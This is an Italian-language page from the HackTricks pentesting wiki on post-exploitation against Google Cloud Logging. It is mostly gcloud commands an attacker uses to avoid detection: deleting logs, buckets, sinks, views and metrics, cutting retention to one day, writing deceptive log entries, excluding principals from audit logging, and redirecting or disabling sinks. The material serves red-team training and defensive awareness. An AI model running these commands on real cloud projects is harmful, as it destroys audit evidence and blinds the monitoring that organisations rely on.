# GCP - Logging Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Informazioni di base

Per maggiori informazioni consulta:

{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}

Per altri modi per interrompere il monitoraggio consulta:

{{#ref}}
gcp-monitoring-post-exploitation.md
{{#endref}}

### Default Logging

**Per impostazione predefinita non verrai scoperto semplicemente per aver eseguito azioni di sola lettura. Per maggiori informazioni consulta la sezione Logging Enum.**

### Aggiungi principal escluso

In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) è possibile aggiungere principal per evitare la generazione di log. Un attaccante potrebbe abusarne per evitare di essere scoperto.

### Leggere i log - `logging.logEntries.list`

<details>

<summary>Leggi le voci di log</summary>
```bash
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default
```
</details>

### `logging.logs.delete`

<details>

<summary>Elimina voci di log</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
```
</details>

### Scrivere log - `logging.logEntries.create`

<details>

<summary>Scrivere una voce di log</summary>
```bash
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
```
</details>

### `logging.buckets.update`

<details>

<summary>Aggiorna la durata di conservazione del bucket dei log</summary>
```bash
# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
```
</details>

### `logging.buckets.delete`

<details>

<summary>Elimina bucket di log</summary>
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>
```
</details>

### `logging.links.delete`

<details>

<summary>Elimina link del log</summary>
```bash
# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
```
</details>

### `logging.views.delete`

<details>

<summary>Elimina logging view</summary>
```bash
# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
```
</details>

### `logging.views.update`

<details>

<summary>Aggiorna la view di logging per nascondere i dati</summary>
```bash
# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
```
</details>

### `logging.logMetrics.update`

<details>

<summary>Aggiorna metriche basate sui log</summary>
```bash
# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
```
</details>

### `logging.logMetrics.delete`

<details>

<summary>Eliminare metriche basate sui log</summary>
```bash
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>
```
</details>

### `logging.sinks.delete`

<details>

<summary>Elimina log sink</summary>
```bash
# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>
```
</details>

### `logging.sinks.update`

<details>

<summary>Aggiorna/interrompi sink di log</summary>
```bash
# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
